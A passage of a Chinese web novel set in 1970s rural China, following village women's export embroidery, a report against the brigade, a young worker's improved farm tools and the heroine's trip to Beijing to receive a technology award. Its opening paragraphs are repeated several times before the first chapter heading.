蔡婶子说道:“哎呦,我们就是些种庄稼的,那手艺还能让外国人看上?” 不少的好人,只是在条件艰苦的时候,每个人都有取舍罢了。 “下次王五家的来了,我得感谢她。”姜海棠也不是善人,那些得罪了她的,她也没想过扶持。 “不用感谢,这原本就是大队里应该想到的,要是让得罪了你的人因为你的关系赚钱,你也不用再顾念这些年的情分了。”陆良辰正好进来,因听到了她们的对话,插嘴说道。 姜海棠看到陆良辰,面上都是笑容。 “你说得对,今天开了一天会?” 陆良辰点头。 “今天开会的时候,正好和服装厂的谢厂长说起,他上次外出考察,发现华国的刺绣在工艺品商店能价格不低,要是蔡婶子这手艺能放到工艺品店里去,会更赚钱。” 这句话像一颗投入平静湖面的石子,在姜海棠心里漾开了圈圈涟漪。 她猛地一怔,是啊,一直以来,她们对接的都是纺织厂,做的是批量生产的附加工序,单价低,靠的是走量。 实际上,清水沟有好几个手艺非常不错的婶子和嫂子能绣出非常具有艺术性的手工绣品,只用来接这种批量生产的绣标有点浪费。 她拿起蔡婶子绣了一半的手帕,仔细端详。 针脚细腻到几乎看不见痕迹,色彩过渡自然和谐,那只喜鹊的眼神活灵活现,充满了灵韵和温度。 “良辰,谢厂长真的是这么说的?”姜海棠眼中闪烁着兴奋的光芒。 陆良辰原本是随口一说,看到姜海棠双眼闪光,立即意识到,姜海棠这是又想到了好点子。 “你又想到了什么?”陆良辰戳着姜海棠的脑门子说道。 姜海棠说道:“只有走出自己的路子,才能赚到钱,比如外贸商店、友谊商店,或者专门接待外宾的宾馆工艺品柜台!” 蔡婶子说道:“哎呦,我们就是些种庄稼的,那手艺还能让外国人看上?” 不少的好人,只是在条件艰苦的时候,每个人都有取舍罢了。 “下次王五家的来了,我得感谢她。”姜海棠也不是善人,那些得罪了她的,她也没想过扶持。 “不用感谢,这原本就是大队里应该想到的,要是让得罪了你的人因为你的关系赚钱,你也不用再顾念这些年的情分了。”陆良辰正好进来,因听到了她们的对话,插嘴说道。 姜海棠看到陆良辰,面上都是笑容。 “你说得对,今天开了一天会?” 陆良辰点头。 “今天开会的时候,正好和服装厂的谢厂长说起,他上次外出考察,发现华国的刺绣在工艺品商店能价格不低,要是蔡婶子这手艺能放到工艺品店里去,会更赚钱。” 这句话像一颗投入平静湖面的石子,在姜海棠心里漾开了圈圈涟漪。 她猛地一怔,是啊,一直以来,她们对接的都是纺织厂,做的是批量生产的附加工序,单价低,靠的是走量。 实际上,清水沟有好几个手艺非常不错的婶子和嫂子能绣出非常具有艺术性的手工绣品,只用来接这种批量生产的绣标有点浪费。 她拿起蔡婶子绣了一半的手帕,仔细端详。 针脚细腻到几乎看不见痕迹,色彩过渡自然和谐,那只喜鹊的眼神活灵活现,充满了灵韵和温度。 “良辰,谢厂长真的是这么说的?”姜海棠眼中闪烁着兴奋的光芒。 陆良辰原本是随口一说,看到姜海棠双眼闪光,立即意识到,姜海棠这是又想到了好点子。 “你又想到了什么?”陆良辰戳着姜海棠的脑门子说道。 姜海棠说道:“只有走出自己的路子,才能赚到钱,比如外贸商店、友谊商店,或者专门接待外宾的宾馆工艺品柜台!” 蔡婶子说道:“哎呦,我们就是些种庄稼的,那手艺还能让外国人看上?” 第295章 嫉妒的人 姜海棠眼中闪烁着兴奋的光芒,她拉着陆良辰的手说:“良辰,我们应该把精品绣品推向更高端的市场!说不定,今年的广交会就可以将这些东西带过去。” 陆良辰看着姜海棠激动的模样,宠溺地笑着说道:“海棠,你现在最重要的是养胎,别太劳神了,这些事交给我就行了。” “你哪儿有时间啊,还是安排其他人干。”姜海棠怎么可能不知道陆良辰有多忙。 “厂办有个干事,我安排她来对接这件事。”陆良辰想了一下,答应了。 刺绣这事儿,还是安排个女同志来做比较好。 姜海棠不理会陆良辰,转向蔡婶子,“婶子,您知道咱们大队还有谁的手艺能和您差不多吗?” 蔡婶子想了想:“有几个不错,赵大明媳妇手艺不错,还有王五家、李寡妇的手艺也很好,还有几个做活儿精细,手艺都不比我差。” 姜海棠越听越兴奋:“太好了!这就让人联系一下,回头把这个事情弄起来,就是时间有点紧张,广交会可快到了。” 陆良辰无奈地摇头,拉住姜海棠说:“你呀,就是闲不住。这事儿你想操心也行,不过你得答应我,不能太劳累。” 这次的消息,是大柱带回清水沟的,大柱关于农具那些想法很好,打算去村子里捣鼓一下,趁着休息回清水沟了。 消息传回清水沟,引起了不小轰动。 “啥?让咱们绣图?这会不会被人说成搞资本主义?”赵三媳妇不敢相信自己的耳朵。 这些年,可是不敢干这个,偶尔衣服上有破洞,也尽量简单的补,都不敢绣花。 王五家的倒是很镇定:“纺织厂那边都说能行,肯定是有依据的,咱们有啥可怕的?” 李寡妇怯生生地问:“那……那要是绣不好,会不会给国家丢脸啊?” 众人因为李寡妇这话,瞬间又担心起来,绣花给外国人卖,万一没绣好,咋办? 赵志坚经过这一年多时间的锻炼,倒是比以前的时候更加有担当了,直接开口:“这是政治任务!不仅关系到咱们大队的荣誉,更关系到国家的形象!谁要是绣不好,以后就别想再接任何绣活!” 妇女们既兴奋又紧张,她们翻出压箱底的丝线,找出最细的绣花针,日夜赶工。 蔡婶子也没闲着,她绣了一幅《松鹤延年》,松树苍劲,仙鹤灵动,寓意吉祥长寿。 一个月后,十几件绣品送到了纺织厂。 姜海棠和厂里的干事沈玉良一起仔细查看,每一件都堪称艺术品,针法精湛,意境深远。 最令人惊叹的是李寡妇绣的万里长城,不得不说,李寡妇可真是个神人,虽然她从未见过真正的长城,却凭着想象和听说,绣出了长城的雄伟壮观。 “太美了!”姜海棠赞叹道,“我觉得这些作品一起带到广交会上去,肯定有市场。” 在两个人共同商量下,这些绣品被再次加工成为各种精品小摆件,这都是姜海棠在后世见过的那些摆件演化出来的。 只有大幅作品因为不知道潜在客户的需求,最终决定保持原样。睁着有人看上,按照对方的要求加工。 这些绣品跟着纺织厂的人一起去参加广交会,很快传来消息,有外国人看上了这些绣品,还订了货。 小号的摆件,对方定了三百件,中号的绣图定了一百件,就是大型的绣品也定了三十幅。 对于整个广交会而言,这不算很多,但架不住绣品价格高啊。 一副中型的绣品,在广交会上的成交价要一百五十块钱,就是小号的,一个也要八十块,抛开成本,赚头可不小。 消息传回清水沟,整个大队沸腾了! 赵志坚激动地敲钟集合:“社员同志们!咱们清水沟的绣品要出国了!这是主席领导下的新华国给咱们的机会!咱们一定要保质保量完成任务!” 妇女们欢呼雀跃,那些被选中的更是激动得热泪盈眶。 王五家的站出来说:“大队长,我建议成立一个绣品小组,专门负责这一次的外贸订单。” 这个建议立即得到了大家伙儿的赞成。 尤其是赵志坚,本来就激动得不行,觉得这些活牵扯到国家的面子,还想着怎么解决呢。 “这些活要求高,得静下心来慢慢绣,不能像绣商标那样赶工。而且,参加绣品小组的妇女们,以后就不用上工的,做农活手容易粗糙刮坏绣品。”赵志坚提出了建议。 他是大队长,他提出的建议,又是合理的,其他人自然不会反对,很快就定了下来。 事情定下来之后,就是定人。 绣品小组很快成立,共有八位手艺最精湛的妇女加入。 这是好事,但不管什么时候,都有人不高兴。 不高兴的人是因为自己家里竟然都没有能够参与进来。 她们心里不乐意,就找上了赵志坚。 赵志坚作为大队长虽然有点面软,可能当大队长的人,狡猾是够的。 他当然知道,这家人为什么没有入选,还不是因为早些时候对海棠不好? 但话可不能这么说,赵志坚很快就找了理由,将她们这些人做的绣品进行一顿批评。 总之就是一句话,他们绣出来的东西,他们自己看着好,可是外国人看不上。 这些话,当然是胡诌的,外国人能不能看得上,赵志坚肯定不知道,但是,这些人,得罪了海棠,这么长时间还没有一点悔改的表现,他可不能让这些人舞到海棠跟前给海棠添堵。 这些人送走了,很快,就有其他大队的人来打听消息了,赵志坚开始的时候,还能坚定拒绝,可是到了后来,公社都出面了,赵志坚就扛不住压力了。 可这是姜海棠给他们大队谋的福利,赵志坚并不打算让出来。 最后,只能找上姜海棠问法子。 此时,姜海棠正在和蔡婶子闲聊。 蔡婶子正在绣花,感慨说道:“海棠,你说我们绣的东西真的能给国家换外汇了?” 虽然事情过了已经有一段时间了,但蔡婶子还是觉得不太相信。 姜海棠笑着点头:“是啊婶子,农村人咋了?农村人也是可以为国家贡献力量的。” 姜海棠不能说,这只是开头,等再过上一两年,改革开放了,到时候,会有更多的机遇,而清水沟,只是走在了前列而已。 赵志坚打算找姜海棠,因为秋收的关系,还没有腾出手来,风波悄然而至。 这日,硌委会突然来到了清水沟,说接到举报,清水沟大队搞资本主义经营,要立即停止所有绣品生产。 赵志坚正在田里干活,忽然听到这个消息的时候,有一瞬间发懵。 但现在的赵志坚,也算见过世面的人,并没有慌乱,而是安排会计王亮想办法给纺织厂那边传消息求助,而他自己则是去见硌委会的人。 县革委会来人的态度十分强硬,带队的是生产办公室的副主任刘长河。 他板着脸,将一纸通知拍在桌上:“赵志坚同志,我们接到群众举报,经过调查,清水沟大队的行为已经严重偏离社会主义道路!必须立即停止一切绣品生产,接受审查!” 据理力争:“我们是集体副业,符合政策!而且我们的绣品是为国家赚外汇,是爱国行为!” 赵志坚对此肯定是不承认的,这要是承认了,不要说赵志坚本人,就是整个清水沟大队都要因此承受结果。 刘长河态度强硬:“什么爱国行为?就是变相的资本主义!农村不搞农业生产,搞这些花里胡哨的东西,就是走资本主义道路!” 王五家的和其他绣娘们躲在门外,听得心惊胆战。 李寡妇吓得直哆嗦:“这可咋办啊?会不会把我们抓起来?” “怕什么!我们又没做亏心事!”王五家的虽然嘴上这么说,但手心也在冒汗。 “咋就会被人给盯上啊?”李寡妇说道:“这是谁坏了良心的,怎么就能举报咱们?” 王五家的想了一下,忽然了悟了什么。 “我去找赵老祖和王老祖,什么人举报的,还不是明明白白?” 大队里的搅屎棍子就那几个人呗,这事儿,只怕是想让清水沟大队倒霉,让大家伙儿一起过吃不饱穿不暖的苦日子。 大柱正好从机械厂回来探亲,本来正在家里捣鼓农具呢,听到这个消息,也急匆匆地赶回来。 “领导,这事儿是不是有什么误会?我们清水沟的绣品确实是为国家创汇的,广交会上都签了订单的。” 刘长河瞥了他一眼,十分不屑地说:“你是什么人?这里轮得到你说话?” “我是金城机械厂的工人赵大柱。”大柱不卑不亢地说,“我可以作证,清水沟的绣品确实出口到国外了。” “工人同志,你不要被蒙蔽了。”刘长河语气稍缓,但依然强硬,“农村就该以粮为纲,搞这些歪门邪道就是不对!” 金城机械厂,那可是省里数一数二的大企业,厂子效益好的不得了,而且,这两年,更是开挂一样,每年广交会都能拿下大量的订单,在省里受重视的不得了。 这也就算了,偏偏机械厂的厂长是有名的护短,要是得罪了机械厂的工人,说不定要吃亏。 但既然来了,也不能就这么回去,还是要想法子弄点儿动静出来才行,要不,以后哪里还有威信? 场面一时僵持不下。 赵志坚灵机一动:“刘主任,您大老远来也辛苦了,要不先到大队部歇歇脚,喝口水?我让人准备些便饭……” “少来这一套!”刘长河义正词严,“我们是来工作的,不是来吃饭的!立即停止生产,把所有绣品都封存起来!” 气氛就这样僵持了下来。 赵志坚咬咬牙,硬气说道:“刘主任,封存绣品也没什么,停止生产也没什么,可违约了,要给外国人赔钱,这事儿怎么算?” “就你们这小打小闹的,能值什么钱?别想着用大帽子扣我,我可不是被吓唬长大的。” 第296章 告状第一名 他们这点订单,确实是小数目,不被人放在眼里也正常。 但蚊子腿再小也是肉不是?现在销量小,难道将来还会小? “刘主任,话不是这么说的,我们的订单确实小,可谁家订单是从一开始就大的?包括省里的几个大厂,还不是一步一步做起来的?” 就在气氛剑拔弩张的时候,大队部的电话响了,赵志坚深吸一口气,接起电话,原来是省外贸厅的电话。 “赵队长,我是外贸厅的张友政,今天打电话锅里是有个好消息,你们大队的绣品在国外反响很好,客户又追加了一批订单!” 对方自报家门之后,顾不得其他,直接开口将这个喜讯说给赵志坚听。 赵志坚激动得不得了,但是,还要压抑着情绪,并不敢表现得太过明显。 清水沟大队这部电话质量不怎么样,虽然没有放免提,可跑音严重,一旁的人将对话听得清清楚楚。 一旁听着他们打电话的刘长河整个人的状态就不太好了。 怎么会这样?竟然还能追加订单? 这事儿,今天只怕是没有办法轻松处置了。 “张主任,这个订单,我们可能没有办法接了。” 看出刘长河的心虚,赵志坚立即想到一个法子,叹息一声,对电话里说道。 “这怎么能行?厅里对这笔订单很重视,你们可不能这样,要是这时候不接订单,岂不是要丢人丢到国外去?” 赵志坚忙在电话里连连道歉之后说道:“不是我们不愿意接这个订单,张主任,实在是我们接不了,不光接不了这个订单,就连之前的订单只怕都要违约了。” 电话那边的张主任听到这个消息,火冒三丈。 “这是国际贸易,你们也能这样随意。” 赵志坚立即开始对着电话哭诉说:“张主任,真的不是我们不好好干,是硌委会来人了,说我们这是大搞形式主义,让我们立即停止刺绣生产,接受审查,我们这也是没办法。” 刘长河想阻止,哪里还能来得及。 他不由怨恨地看向赵志坚,干啥不行,告状第一名! 大柱也算看明白了,没想到啊,看着老实憨厚的大队长,竟然还有这样一面,真是太让人意外了,不过,这效果应该会不错。 果然,和大柱预想的差不多,听完赵志坚的话,张主任更加冒火了。 “你们清水沟的做法是符合政策的,是为国家做贡献!硌委会也不能不调查清楚就胡乱下结论,这是严重的官僚主义!” 刘长河顿时慌了:“张主任,我……我们也是按程序办事,主要是有人举报……” “按程序办事?”王副主任冷哼一声,“我看是有人眼红清水沟的成绩,故意捣乱!这件事我会亲自过问,你们等着!” 刘长河哪里敢等着,等着干啥?吃挂落? 当下,刘长河带着一行人灰溜溜地走了。 一副生怕他们跑得慢一点就会被张友政带人堵住的样子。 看着硌委会的人落荒而逃,赵志坚长舒一口气,到这时候,赵志坚都以为是他打发王亮去想办法,那小子找人假冒的商贸厅。 “这小子,还是有点小心思的。”赵志坚很是欣慰地说着。 只是,他的话说完,还来不及喝一口水,就听到王亮的声音从门口传来。 “大队长,我看着那些人走了。” “走了,你小子很不错,很聪明啊!”赵志坚不吝夸奖。 王亮有些奇怪,为什么大队长这么说。 “大队长,我给纺织厂那边打了电话,纺织厂说,他们想办法,我想着,他们要来一趟也要到明天了,这咋就走了。”王亮还是挺实诚的。 赵志坚还在怀疑这小子是在装样子,还是真的,电话又响了。 这一次是陆良辰打过来的电话。 陆良辰问了下情况之后,才算放心。 “也是你们正好赶上了,刚才接到王亮的电话,正想着怎么解决,商贸厅的电话就来了。正好我和张主任的关系不错,就劳烦他给你们打电话了。” 赵志坚没想到事情原来是这样的,就说为什么商贸厅的电话会直接打到清水沟。 “陆厂长,太谢谢您了,今天要是没您帮忙,我们就麻烦了。”赵志坚诚挚的感谢。 硌委会那些人,要是没有今天这个电话,还不知道要闹出什么事儿来呢。 “事情暂时应该解决了,但问题应该还存在,举报的人,说不得就是你们大队的,这事儿要早些解决,免得后续还有麻烦。” 陆良辰对清水沟大队的一些人,也着实是厌恶,毕竟,第一次见面,就没有留下好印象。 赵志坚喏应了,表示自己一定会彻查到底,绝对会将这种不团结的人彻底的处理了。 话说到这个份上的时候,赵志坚心里大概也已经有谱了。 “上面有商贸厅的支持,你们不要有顾虑,大胆地干!有什么困难,直接打电话!” 明面上,风波过去了,可实际上,清水沟这一次迎来了一次大的整顿。 因为村子里就两姓人,所以就算有些人做事比较缺德,村子里的人也是睁一眼闭一眼的。 但像是这种为了个人恩怨,不惜损害大家伙儿利益的事儿,清水沟的人还是不能容忍的。 毕竟,我当你是自己人,你当我是仇人这种事,一般都是不能接受的。 最终,一户王家人受到了重罚,写举报信的是王家的一个媳妇子。 这个媳妇子被婆家做主离了婚,送回娘家去了。 娘家那边虽然不满意,但听到闺女居然写了举报信,差点儿害了整个大队,也没脸再说什么。 乡下人朴实,可以小打小闹,也可以打得鸡飞狗跳,总之,只要不出人命都能解决。 但如果因为一点小矛盾就写举报信,这种人,放在哪个大队都是不能被容忍的。 因为这件事,那些原本有些小心思的人都收敛了心思。 蔡婶子和姜海棠两个人是听大柱说的这个事,听到的时候,还唏嘘了好一会儿。 姜海棠倒是记得这个王家的媳妇子,上辈子,这个女人就是个心术不正的,想让她改嫁,她不同意,那个女人因为她是烈士遗孀,不敢过分,但酸言酸语没少说。 也不知道,这辈子被婆家给送回娘家,以后会过上什么样的生活。 但不管怎么样,都和他们没关系。 姜海棠和大柱说起他的研究成果。 大柱果然很高兴,兴高采烈地说着自己的研究成果真的用起来了等等的话。 经过上次和姜海棠深入的讨论了农业机械之后,大柱像是被打开了思路的闸门。 他彻底沉下心来,围绕着“省力”和“改良”这两个核心,一头扎进了对现有农具的琢磨里。 他在机械厂是顾昀笛的,可以接触到许多东西,其中包括了小型农机图纸和实物,有了这样的便利条件,要做什么就更容易了。 厂里的工具、设备和一些废旧零件材料,也为他提供了更好的研究环境。 下班后和休息的时间,大柱几乎就泡在厂里的技术资料室和维修车间。 他仔细研究厂里库存的老式步犁、双轮双铧犁甚至一台报废的小型手扶拖拉机的传动结构,图纸画了一沓又一沓。 他现在的目标明确:不做超越当前农村生产力水平的空想设计,而是着眼于对现有常用农具进行“小、快、灵”的改良。 他利用厂里的台钳、手钻、电焊机,他尝试将想法付诸实践。 对于这样具有钻研精神的小伙子,毛厂长果然是十分喜欢的,不光不阻止,还给予各种便利条件。 厂里的老工人和老技术们也愿意帮着大柱。 “刘工,您看这个想法,”大柱拿着自己画的草图,请教厂里的老师傅,“我想给传统的步犁加一个简单的深度控制装置,就用这个废旧的丝杠和螺母套件,固定在犁辕上,是不是能解决耕深不稳和扶犁费力的问题?” 老师傅推推老花镜,仔细看了看,拍拍大柱的胳膊夸赞:“嗯,思路对头!这比全靠手感压扶手强。丝杠调节好深度后能锁死,劲儿就用在控制方向上了。你小子这脑子活泛!” “王叔,您看这犁辕,人扶着的这个劲儿,大半都用在往下压了,要是能在后面这儿加个可调节的撑子,是不是就能省不少压扶手的力气?” “嗯……有点意思,”老王叔眯眼打量着,“用废车轴上的那个螺丝母能改一个,拧紧了就能固定深度。” …… 不管大柱问到谁跟前,基本上都会帮大柱解答。 姜海棠偶尔会给出一些结构上的建议,比如杠杆支点的位置、角度如何更省力,如何用最简单的榫卯或铁销实现活动部件的连接。 功夫不负有心人。 一个月后,大柱的可调式省力步犁有了成品。 第297章 大柱出息了 其实,这个机械说起来也简单,它是在老式步犁的基础上,在犁辕后部加装了一个用废旧螺丝杆改造的深度调节支架。 犁地时,可以根据土质软硬,调节并固定耕深,扶犁的人无需再耗费巨大体力下压扶手,主要精力用于控制方向,效率提高了不少,人也轻松了。 紧接着,大柱一发不可收拾,轮式耙和手摇式玉米脱粒机也相继做了出来。 轮式耙解决了传统耙的费力不平的问题。 而手摇式玉米脱粒机,通过齿轮加速带动桶内的钢筋齿旋转,将玉米棒塞进去,玉米粒就能被快速搓下来,比手工搓玉米快了不知多少倍。 这些农具,虽然还需要人力摇,但极大地解放了人力,提高了效率。 这几样新农具首先受益的就是清水沟大队。 进而整个公社都知道清水沟大队有了新农具,而且效果很好,立即,就有不少大队的人来围观了。 对于农民来说,哪怕是清水沟的女人能绣花赚钱,吸引力也没有农具大。 其他大队的社员们最初是好奇围观,接着是啧啧称奇,最后纷纷抢着试用。 “哎呦,这犁地轻省多了!” “这耙子好,站着就把活儿干了!” “这脱粒机真得劲!晚上点着煤油灯都能干,再也不怕手磨出血了!” 赵志坚看着这一切,乐得合不拢嘴,拍着大柱的肩膀连连夸奖:“好小子!真有你的!这可是给咱大队立了大功了!” 周围几个大队的大队长已经来时凑近赵志坚,问问能不能跟他们预定。 “这个可不行,大柱虽然是我们大队的人,但他研究出来的新机器可是属于机械厂的,我们做不了主。” 大队长们说不羡慕那是假的,可是,这事儿,确实就是这样,赵志坚没办法做主。 有些大队长将主意打到了公社,可公社也没办法,只能上报给公社。 公社了解了情况后,逐级上报,很快就到了县里、市里。 市里的农机员下来看了之后,大为赞赏,尤其是那台结构简单、成本极低的手摇脱粒机,是真的适合在缺乏动力机械的生产队推广,还能最大程度地保护社员们的手。 每年因为搓玉米,很多社员的手都会被搓破,受了老大的罪,有了这个可就方便了。 消息传回去,市里一方面联系机械厂,想订购一批机械。 另外又安排市里的记者采访大柱。 很快,一篇关于大柱的专题报道就在报纸上出现了,大柱瞬间成了机械厂的香饽饽。 毛厂长接到市里的大笔订单之后,开始还有点懵,不知道发生了什么。 当得知是因为大柱弄出来三台机械得到了重视之后,开心得不得了。 他组织厂里的领导开会讨论之后,认为大柱改良的这些机械虽然是小物件,但从中能看出来,大柱是非常具有潜力的小伙子,假以时日,说不定能在农机改造方面有大的突破。 当天会议结束之后,大柱从技术员助理变成了技术员,工资涨了,待遇也提高了。 甚至,就连在厂里的住宿条件都变好了,以前住的是集体宿舍,现在单独有了一间宿舍。 大柱好半天都没能消化这个好消息,多少老职工都没有做到的,自己就这么轻而易举地得到了? 大柱请了假,欢天喜地地去纺织厂报告好消息去了。 他是个念着情的人,知道自己能有现在的成绩,离不开姜海棠的点拨和提拔。 姜海棠听到这个消息的时候,很是为大柱高兴, 在姜海棠的心里,一个人有能耐不算真有能耐,毕竟,精力有限,能做的事情太少了。 大家一起发光发热,才能为国家的发展做贡献。 就像现在的机械厂和纺织厂,都已经有了足够的研究力量,她也不用像之前那样拼命工作,而是在必要的时候,解决关键问题就可以。 夸完了大柱,姜海棠又看向欢喜的话都不会说的蔡婶子。 “婶子,大柱有出息,你的福气还在后头呢,让他跟着云老师好好干,将来肯定有大出息。”蔡婶子说着,眼泪都差点流下来。 “海棠,这都多亏了你,要是没有你帮忙,大柱就是在土里刨食的命。” 姜海棠拉着蔡婶子的手笑道:“婶子,是大柱自己够努力,是你们家待我好,我相信,咱们继续努力,日子就会越过越红火!” 他们说话的时候,陆良辰回来了,带来了两个消息。 第一个是刚才得到消息,大柱设计的机器将会批量生产,配发给各公社和各大队,清水沟是第一批批量配给的大队。 第二个消息是京城来的,袁一楠说轻纺局那边有一些外文书籍需要翻译,想找姜海棠帮忙。 “按道理,京城那边不缺乏专业的翻译人才。”姜海棠迟疑问道。 “翻译人员有,可专业的翻译人员不懂机械原理和纺织技术,懂得技术的人,不懂翻译,这不,二婶就推荐了你,打电话过来问问你的情况。” 姜海棠摸着肚子,想了想说:“应该也是可以的,还有几个月才生产,正好这段时间,工作上的事都是段长河和黎景程担起来的,我也不太忙。” “你这就答应了?也不问问给不给翻译费?”陆良辰没想到姜海棠这就答应了。 姜海棠这才一愣,说道:“还真忘了问,不过既然是二婶推荐的,肯定不能亏待了我。” 陆良辰笑着,说道:“确实不会亏待了你,二婶说了,千字五块钱的翻译费,还有一些票据补贴。” 姜海棠没想到,竟然这么高的翻译费,当下更是开心得不得了。 虽然他们两口子工资都不错,不太缺钱,但要说多富裕也是没有的。 能多赚钱,自然是好的。 “那可真是大好事呢,要是一年到头都有这样的好事儿,我可不就发财了?” 要知道,这个年月,发表文章都只有票据补贴,没有稿费,能拿到翻译费可是真不错。 “那我下午给二婶回电话,让二婶把书寄过来。” “行,寄过来我就开始准备翻译。” 中午,四个人一起吃饭,因为家中有喜事,午饭做得很丰盛。 姜海棠现在的胃口大,陆良辰想法子换了不少的票,给姜海棠补身体,唯恐亏待了姜海棠和肚子里的孩子。 吃完饭,蔡婶子才要去洗碗,大门外面传来了响动,似乎是有汽车的声音。 蔡婶子打开门一看,是个不认识的人。 她有些局促地站在大门口,这人看着像是个大领导的样子,还有小汽车。 陆良辰也听到了外面的动静,看着人没进门,出门去看。 “毛厂长,你怎么来了?” 门口站着的,可不就是毛厂长? 陆良辰好奇,他怎么这时候来了?总不是为了找大柱吧? “有好消息,我想着得自己来一趟,就过来了。”毛厂长高兴得嘴巴都要咧到耳朵根了。 陆良辰忙让人进来。 到了屋里,毛厂长拿出来一份电报,那眉眼之间的笑,都要藏不住了。 陆良辰很疑惑,到底是什么好消息,能让这个狡猾的老头子如此开心? 而且,还是专门拿到自己家里来一趟,那就肯定和自己家有关系了! 陆良辰接过一看,顿时喜上眉梢:“海棠!好消息!你设计的羊毛衫纺织机获得了部里的科技进步奖!邀请你去京城领奖!” 蔡婶子听到要去京城领奖,已经欢喜得不知如何是好,一叠声地念叨着:“哎呀,这可是天大好事儿啊,今天这好事就没断过,我下午要去供销社买红鸡蛋分给邻居才行。” 电报在手中微微发烫,姜海棠反复读了好几遍,才确信自己真的得了奖,而不是出现了幻觉。 “毛厂长,这是什么时候的事,太突然了!”她的声音有些微微的发颤。 毛厂长笑呵呵地说着:“之前就报上去了,这不是害怕不能入选,就没给你说,好在,成了!也算给你一个惊喜。” 当时报上去的时候,也担心过,万一要是选不上,姜海棠会失落,因此,几个领导商量了一下,没告诉姜海棠。 这还真的是一个惊喜,姜海棠高兴得都哽咽了。 “谢谢毛厂长,真是太惊喜了。”姜海棠真诚地感谢毛厂长。 说起来,毛厂长帮助自己的很多,当初入职机械厂的时候,也没想过,这个兼职会让她取得这么大的成绩。 “客气什么,哎呀呀,也是我老毛眼光好啊!”毛厂长得意了。 陆良辰握住姜海棠的手,眼中满是骄傲:“海棠,这是你应得的!你为纺织机械付出了那么多心血!” 激动过后,一个很现实的问题摆在眼前,姜海棠如今怀着孕呢,长途跋涉去京城领奖会不会有风险啊? 但这样的荣誉,一辈子可能就这一次,错过实在可惜。 “去!这是我们家海棠同志最荣耀的时刻,怎么能不去,我这就请假,跟着一起去!”陆良辰最终下定决心。 姜海棠点头说:“我也想念小桃子了,一走就是几个月,生产之前要是能见见小桃子,也是好的。” 事情就这么定下了。 第298章 毛厂长送来好消息 毛厂长到了这时候才看到,一直在屋子里待着的小伙子竟然是机械厂的大柱。 “你小子,怎么在这里?”毛厂长问。 这个小伙子,他能记住是因为天赋超长,后来,也时有关注,这个原本是为了姜海棠才收下的小伙子,给他带来了不少的惊喜,要不作为厂长如何能记得一个普通技术员助理。 “这位婶子是大柱的母亲,这不是有好消息,大柱过来报喜了!”姜海棠忙介绍道。 “原来您就是大柱的母亲啊,感谢您培养出来这么一个优秀的儿子!” 听到是大柱的母亲,毛厂长的态度十分客气地打招呼,甚至主动伸出手与蔡婶子握手。 蔡婶子一个农妇,这辈子还没有过这种待遇,有点受宠若惊了,忙用衣襟擦擦手,才与毛厂长握手。 毛厂长与他们说了几句话,带着大柱一同回到厂子里去了。 目送着儿子坐车走远,蔡婶子忍不住擦眼角的泪水。 “婶子,开心吧?大柱有这样的儿子,你这辈子,值了。” 蔡婶子点点头:“值了,值了,我也没想到,这小子能这么有出息。” 厂里特地给陆良辰批了假,临行前,得到消息的赵志坚带着清水沟的乡亲们送来一堆土特产,非要让姜海棠带去京城。 赵志坚笑得满脸褶子,“海棠啊,你可是咱们整个清水沟的骄傲!” 虽然姜海棠不是清水沟的人,但好歹也在清水沟生活了十多年呢。 他们定的是三天之后的火车去京城,这三天,蔡婶子可是忙得不得了,每天都在准备给姜海棠带到京城去的东西。 在蔡婶子的整理下,陆良辰带了两个大大的包。 包里不光装了路上要吃的用的,还贴心装了一个靠垫,主要是担心姜海棠路上不舒服。 上车之前,蔡婶子也是诸多叮咛,生怕姜海棠有个闪失。 最终,还是陆良辰一再保证,会好好的照顾姜海棠蔡婶子这才安心。 火车在轨道上飞驰,绿色的车厢里的味道并不是很好闻。 以前坐火车的时候,姜海棠并没有类似的感觉,这一次应该是怀孕的关系,她的嗅觉变得敏锐了许多。 陆良辰小心翼翼扶着姜海棠在铺位上慢慢坐下。 这次,他们乘坐的是卧铺票,两个人一个是中铺一个是下铺,还算不错。 “累不累?腰酸不酸?”陆良辰是真的担心姜海棠的身体,目光始终没离开妻子略显疲惫却洋溢着喜悦的脸庞。 姜海棠摇摇头,将手轻轻覆在隆起的腹部,微笑道:“还好,宝宝今天很乖。” 她望向窗外飞速后退的田野,眼中闪着光。 等到了京城就能看到小桃子了,虽然一直有写信和打电话,但姜海棠还是难免想念小家伙。 虽然不是自己生的,但姜海棠对小桃子的感情,可一点都因为自己有了亲生的孩子就淡下去。 陆良辰从随身带的军用水壶里倒出温水,试了试温度才递给她:“来,海棠,喝点水,蔡婶子特意泡的红枣枸杞,说对孕妇好。” 正当两人轻声交谈时,对面座位一位戴着眼镜的中年男子忽然探身问道:“请问,您是京城纺织厂的姜海棠同志吗?” 姜海棠有些惊讶:“是的,您是?” 男子立刻热情地伸出手:“真是巧了!我是陕省第一纺织厂的技术科长王振华。我听说过您的大名,真没想到,在这里能见到您!” 他推了推眼镜,激动地说:“您的设计对于纺织机械的发展太重要了,我们厂现在的效率提高了百分之三十呢!” 姜海棠没想到,连陕省这边都已经进行了技术改良,但再想想,全国一盘棋,好像也没什么不对的。 “我也就是喜欢鼓捣这些,没想到能成功。” “这次您是去领奖的吧?这位是您的丈夫?京城纺织厂的厂长陆良辰同志?” 果然是一个系统的,对方对他们夫妻还是非常了解的。 陆良辰微笑着向王振华点头致意,细心地为姜海棠背后垫上一个软枕。 三个人很快深入技术讨论中,从换梭装置谈到纺织机械的自动化趋势。 姜海棠的很多理念来源于夜梦空间,加上她自己的一些拓展研究,自然比王振华的想法具有前瞻性。 王振华掏出笔记本认真记录,不时发出赞叹。 “姜工,您这个想法太超前了!要是能实现,咱们国家的纺织技术能赶上国际先进水平啊!” “我们国家的纺织技术,在不久的将来,一定能赶上国际先进水平。”陆良辰笃定地说着,还不忘记为姜海棠的杯中添水。 王振华想起什么,拍拍脑袋,从包里拿出两个还带着点儿青绿的苹果说:“我带了苹果,不是很熟,但已经能吃了。” 这个季节,苹果确实还没有成熟,但瞧着倒是也很诱人。 陆良辰没客气,接过苹果,拿过去洗了,递给姜海棠。 姜海棠说:“谢谢王工,您也尝尝我们带的自己家里种的洋柿子。” 王振华其实很震惊于陆良辰对姜海棠无微不至的照顾。 陆良辰可是纺织系统最年轻的厂长呢,没想到,这样厉害的一个人,对自己的妻子竟然能做到这样体贴。 果然,成功的人厉害的人方方面面都比别人出色。 姜海棠咬了一口苹果,将苹果放在陆良辰嘴边,陆良辰笑着咬了一口。 两个人就这样你一口我一口的吃了一个苹果,都没发现,这不是在自己家里,而是在火车上。 